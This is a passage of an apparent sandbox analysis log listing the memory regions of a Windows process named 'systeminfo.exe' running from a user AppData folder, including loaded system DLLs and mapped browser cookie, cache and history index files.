"" Region: id = 2652 start_va = 0x3d0000 end_va = 0x3eefff entry_point = 0x3d18a0 region_type = mapped_file name = "systeminfo.exe" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe") Region: id = 2653 start_va = 0x76df0000 end_va = 0x76f98fff entry_point = 0x76df0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2654 start_va = 0x76fd0000 end_va = 0x7714ffff entry_point = 0x76fd0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2655 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2656 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2657 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2658 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2659 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2660 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2661 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2662 start_va = 0x2e0000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2663 start_va = 0x73700000 end_va = 0x73707fff entry_point = 0x737020f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2664 start_va = 0x73710000 end_va = 0x7376bfff entry_point = 0x7374f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2665 start_va = 0x73770000 end_va = 0x737aefff entry_point = 0x7379de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2666 start_va = 0x76bd0000 end_va = 0x76cc9fff entry_point = 0x0 region_type = private name = "private_0x0000000076bd0000" filename = "" Region: id = 2667 start_va = 0x76cd0000 end_va = 0x76deefff entry_point = 0x0 region_type = private name = "private_0x0000000076cd0000" filename = "" Region: id = 2668 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2669 start_va = 0x210000 end_va = 0x276fff entry_point = 0x210000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2670 start_va = 0x4c0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2671 start_va = 0x6d0000 end_va = 0x6dffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 2672 start_va = 0x73640000 end_va = 0x73690fff entry_point = 0x7366988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 2673 start_va = 0x736a0000 end_va = 0x736d1fff entry_point = 0x736a37f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2674 start_va = 0x736e0000 end_va = 0x736f3fff entry_point = 0x736e1340 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 2675 start_va = 0x74b20000 end_va = 0x74b2bfff entry_point = 0x74b210e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2676 start_va = 0x74b30000 end_va = 0x74b8ffff entry_point = 0x74b4a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2677 start_va = 0x74b90000 end_va = 0x74be6fff entry_point = 0x74ba9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2678 start_va = 0x74d90000 end_va = 0x74e2ffff entry_point = 0x74da49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2679 start_va = 0x74e30000 end_va = 0x74f3ffff entry_point = 0x74e432d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2680 start_va = 0x74f90000 end_va = 0x7502cfff entry_point = 0x74fc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2681 start_va = 0x75030000 end_va = 0x75039fff entry_point = 0x750336a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2682 start_va = 0x75040000 end_va = 0x7513ffff entry_point = 0x7505b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2683 start_va = 0x751c0000 end_va = 0x7531bfff entry_point = 0x7520ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2684 start_va = 0x75f70000 end_va = 0x7605ffff entry_point = 0x75f80569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2685 start_va = 0x76440000 end_va = 0x764cefff entry_point = 0x76443fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2686 start_va = 0x764d0000 end_va = 0x7655ffff entry_point = 0x764e6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2687 start_va = 0x76700000 end_va = 0x76745fff entry_point = 0x76707478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2688 start_va = 0x76b00000 end_va = 0x76babfff entry_point = 0x76b0a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2689 start_va = 0x76bb0000 end_va = 0x76bc8fff entry_point = 0x76bb4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2690 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2691 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2692 start_va = 0x6e0000 end_va = 0x867fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2693 start_va = 0x75140000 end_va = 0x7519ffff entry_point = 0x7515158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2694 start_va = 0x76370000 end_va = 0x7643bfff entry_point = 0x7637168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2695 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2696 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2697 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2698 start_va = 0x870000 end_va = 0x9f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2699 start_va = 0xa00000 end_va = 0x1dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2700 start_va = 0x1e00000 end_va = 0x20cefff entry_point = 0x1e00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2701 start_va = 0x73480000 end_va = 0x734fffff entry_point = 0x734937c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2702 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2703 start_va = 0x5c0000 end_va = 0x69efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2704 start_va = 0xb0000 end_va = 0xc1fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2705 start_va = 0xe0000 end_va = 0xedfff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2706 start_va = 0x20d0000 end_va = 0x24a0fff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 2707 start_va = 0xf0000 end_va = 0xfdfff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2708 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2709 start_va = 0x24b0000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 2710 start_va = 0x75320000 end_va = 0x75f69fff entry_point = 0x75320000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2711 start_va = 0x76060000 end_va = 0x7606bfff entry_point = 0x76060000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2712 start_va = 0x76250000 end_va = 0x7636cfff entry_point = 0x76250000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2713 start_va = 0x760f0000 end_va = 0x761e4fff entry_point = 0x760f0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2714 start_va = 0x76750000 end_va = 0x76885fff entry_point = 0x76750000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2715 start_va = 0x76890000 end_va = 0x76a8afff entry_point = 0x76890000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2716 start_va = 0x749f0000 end_va = 0x749fafff entry_point = 0x749f0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2717 start_va = 0x74a00000 end_va = 0x74a16fff entry_point = 0x74a00000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 2718 start_va = 0x749e0000 end_va = 0x749ecfff entry_point = 0x749e0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2719 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2720 start_va = 0x2150000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 2721 start_va = 0x21d0000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 2722 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2723 start_va = 0x360000 end_va = 0x37dfff entry_point = 0x3618a0 region_type = mapped_file name = "systeminfo.exe" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe") Region: id = 2724 start_va = 0x2110000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2725 start_va = 0x2330000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 2726 start_va = 0x2370000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 2727 start_va = 0x2700000 end_va = 0x27fffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 2728 start_va = 0x749b0000 end_va = 0x749c5fff entry_point = 0x749b0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2729 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2730 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2731 start_va = 0x360000 end_va = 0x39bfff entry_point = 0x360000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2732 start_va = 0x360000 end_va = 0x39bfff entry_point = 0x36128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2733 start_va = 0x360000 end_va = 0x39bfff entry_point = 0x36128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2734 start_va = 0x360000 end_va = 0x39bfff entry_point = 0x36128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2735 start_va = 0x360000 end_va = 0x39bfff entry_point = 0x36128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2736 start_va = 0x74970000 end_va = 0x749aafff entry_point = 0x7497128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2737 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2738 start_va = 0x360000 end_va = 0x364fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 2739 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2740 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2741 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2742 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2743 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2744 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2745 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2746 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2747 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2748 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2749 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2750 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2751 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2752 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2753 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2754 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2755 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2756 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2757 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2758 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2759 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2760 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2761 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2762 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2763 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2764 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2765 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2766 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2767 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2768 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2769 start_va = 0x2d0000 end_va = 0x2d4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2770 start_va = 0x2d0000 end_va = 0x2d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 2771 start_va = 0x747d0000 end_va = 0x7496dfff entry_point = 0x747d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2772 start_va = 0x360000 end_va = 0x360fff entry_point = 0x360000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2773 start_va = 0x370000 end_va = 0x371fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 2774 start_va = 0x360000 end_va = 0x36bfff entry_point = 0x360000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2775 start_va = 0x380000 end_va = 0x387fff entry_point = 0x380000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2776 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x390000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2777 start_va = 0x747a0000 end_va = 0x747c0fff entry_point = 0x747a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2778 start_va = 0x74f40000 end_va = 0x74f84fff entry_point = 0x74f40000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2779 start_va = 0x76ac0000 end_va = 0x76af4fff entry_point = 0x76ac0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2780 start_va = 0x76fa0000 end_va = 0x76fa5fff entry_point = 0x76fa0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2781 start_va = 0x3f0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2782 start_va = 0x74750000 end_va = 0x74793fff entry_point = 0x74750000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2783 start_va = 0x2800000 end_va = 0x29affff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 2784 start_va = 0x74730000 end_va = 0x7474bfff entry_point = 0x74730000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2785 start_va = 0x74720000 end_va = 0x74726fff entry_point = 0x74720000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2786 start_va = 0x74c20000 end_va = 0x74c22fff entry_point = 0x74c20000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 2787 start_va = 0x746c0000 end_va = 0x74711fff entry_point = 0x746c0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 2788 start_va = 0x746a0000 end_va = 0x746b4fff entry_point = 0x746a0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 2789 start_va = 0x74690000 end_va = 0x7469cfff entry_point = 0x74690000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 2790 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2791 start_va = 0x25f0000 end_va = 0x262ffff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 2792 start_va = 0x29d0000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 2793 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2794 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 2795 start_va = 0x74680000 end_va = 0x74685fff entry_point = 0x74680000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 2796 start_va = 0x2640000 end_va = 0x267ffff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 2797 start_va = 0x2ad0000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 2798 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2799 start_va = 0x74670000 end_va = 0x7467ffff entry_point = 0x74670000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 2800 start_va = 0x2bd0000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 2801 start_va = 0x3f0000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2802 start_va = 0x480000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2803 start_va = 0x3f0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2804 start_va = 0x470000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 2805 start_va = 0x74660000 end_va = 0x74665fff entry_point = 0x74660000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2806 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2807 start_va = 0x430000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2808 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 2809 start_va = 0x74d00000 end_va = 0x74d82fff entry_point = 0x74d00000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2810 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2811 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = pagefile_backed name = 